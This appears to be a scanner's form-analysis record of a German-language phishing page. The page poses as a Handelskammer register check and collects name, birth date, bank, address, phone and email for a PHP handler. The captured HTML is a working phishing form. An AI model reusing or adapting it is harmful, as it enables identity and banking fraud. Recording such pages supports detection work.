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Form analysis
1 forms found in the DOM

POST unbegrenzt/graatsysteem.php

<form class="form-detail" action="unbegrenzt/graatsysteem.php" method="post" id="registerform">
  <div class="form-left">
    <img src="03_Hremnt_93.jpeg" alt="e_n_c_r_y_p_t_s_i_g_n" width="200" height="60">
    <h2 class="title">Überprüfen Sie Ihre Angaben im Register der Handelskammer</h2>
    <div class="form-row">
      <select name="title">
        <option class="option" value="GeenGeslacht">Anrede</option>
        <option class="option" value="Meneer">Herr</option>
        <option class="option" value="Mevrouw">Frau</option>
      </select>
      <span class="select-btn">
        <i class="zmdi zmdi-chevron-down"></i>
      </span>
    </div>
    <div class="form-group">
      <div class="form-row form-row-1">
        <input type="text" name="first_name" id="first_name" class="input-text" placeholder="Vorname" required="">
      </div>
      <div class="form-row form-row-2">
        <input type="text" name="last_name" id="last_name" class="input-text" placeholder="Nachname" required="">
      </div>
    </div>
    <div class="form-row">
      <input type="text" name="geb" class="geb" id="geb" placeholder="Geburtsdatum">
    </div>
    <div class="form-row">
      <select name="position">
        <option value="Eigenaar">Eigentümer</option>
        <option value="Directeur">Direktor</option>
        <option value="Medewerker">Mitarbeiter</option>
      </select>
      <span class="select-btn">
        <i class="zmdi zmdi-chevron-down"></i>
      </span>
    </div>
    <div class="form-row">
      <input type="text" name="company" class="company" id="company" placeholder="Firma" required="">
    </div>
    <div class="form-row">
      <input type="text" name="Kvk" class="Kvk" id="Kvk" placeholder="Jahr der Registrierung (optional)">
    </div>
    <div class="form-group">
      <div class="form-row form-row-3">
        <input type="text" name="business" class="business" id="business" placeholder="Wählen Sie Ihre Bank">
      </div>
      <div class="form-row form-row-4">
        <select name="type_fino">
          <option value="DeutscheBank">Deutsche Bank</option>
          <option value="TargoBank">Targobank</option>
          <option value="ING">ING</option>
          <option value="Sparkasse">Sparkasse</option>
          <option value="PostBank">Postbank</option>
          <option value="Deutschebank">Deutschebank</option>
          <option value="Volksbank">Volksbank</option>
          <option value="N26">N26</option>
          <option value="Commerzbank">Commerzbank</option>
        </select>
        <span class="select-btn">
          <i class="zmdi zmdi-chevron-down"></i>
        </span>
      </div>
    </div>
  </div>
  <div class="form-right">
    <h2>Kontaktdetails</h2>
    <div class="form-row">
      <input type="text" name="adje" class="adje" id="adje" placeholder="Straße" required="">
    </div>
    <div class="form-row">
      <input type="text" name="hr" class="hr" id="hr" placeholder="Haus-Nr." required="">
    </div>
    <div class="form-group">
      <div class="form-row form-row-1">
        <input type="text" name="zip" class="zip" id="zip" placeholder="PLZ" required="">
      </div>
      <div class="form-row form-row-2">
        <select name="place">
          <option value="place">Postleitzahl</option>
          <option value="Street">Briefkasten</option>
        </select>
        <span class="select-btn">
          <i class="zmdi zmdi-chevron-down"></i>
        </span>
      </div>
    </div>
    <div class="form-row">
      <select name="country">
        <option value="country">Deutschland</option>
      </select>
      <span class="select-btn">
        <i class="zmdi zmdi-chevron-down"></i>
      </span>
    </div>
    <div class="form-group">
      <div class="form-row form-row-1">
        <input type="text" name="code" class="code" id="code" placeholder="+49">
      </div>
      <div class="form-row form-row-2">
        <input type="text" name="NumberDay" class="NumberDay" id="NumberDay" placeholder="Mobilnummer" required="">
      </div>
    </div>
    <div class="form-row">
      <input type="text" name="laim" id="laim" class="input-text" required="" pattern="[^@]+@[^@]+.[a-zA-Z]{2,6}" placeholder="E-Mail">
    </div>
    <div class="form-checkbox">
      <label class="container">
        <p>Ich akzeptiere die <a href="#" class="text">Geschäftsbedingungen</a> des Handelsregisters</p>
        <input type="checkbox" name="checkbox">
        <span class="checkmark"></span>
      </label>
    </div>
    <div class="form-row-last">
      <input type="submit" name="register" class="register" value="Senden">
    </div>
  </div>
</form>

Text Content

ÜBERPRÜFEN SIE IHRE ANGABEN IM REGISTER DER HANDELSKAMMER

Anrede Herr Frau


Eigentümer Direktor Mitarbeiter


Deutsche Bank Targobank ING Sparkasse Postbank Deutschebank Volksbank N26
Commerzbank


KONTAKTDETAILS



Postleitzahl Briefkasten
Deutschland



Ich akzeptiere die Geschäftsbedingungen des Handelsregisters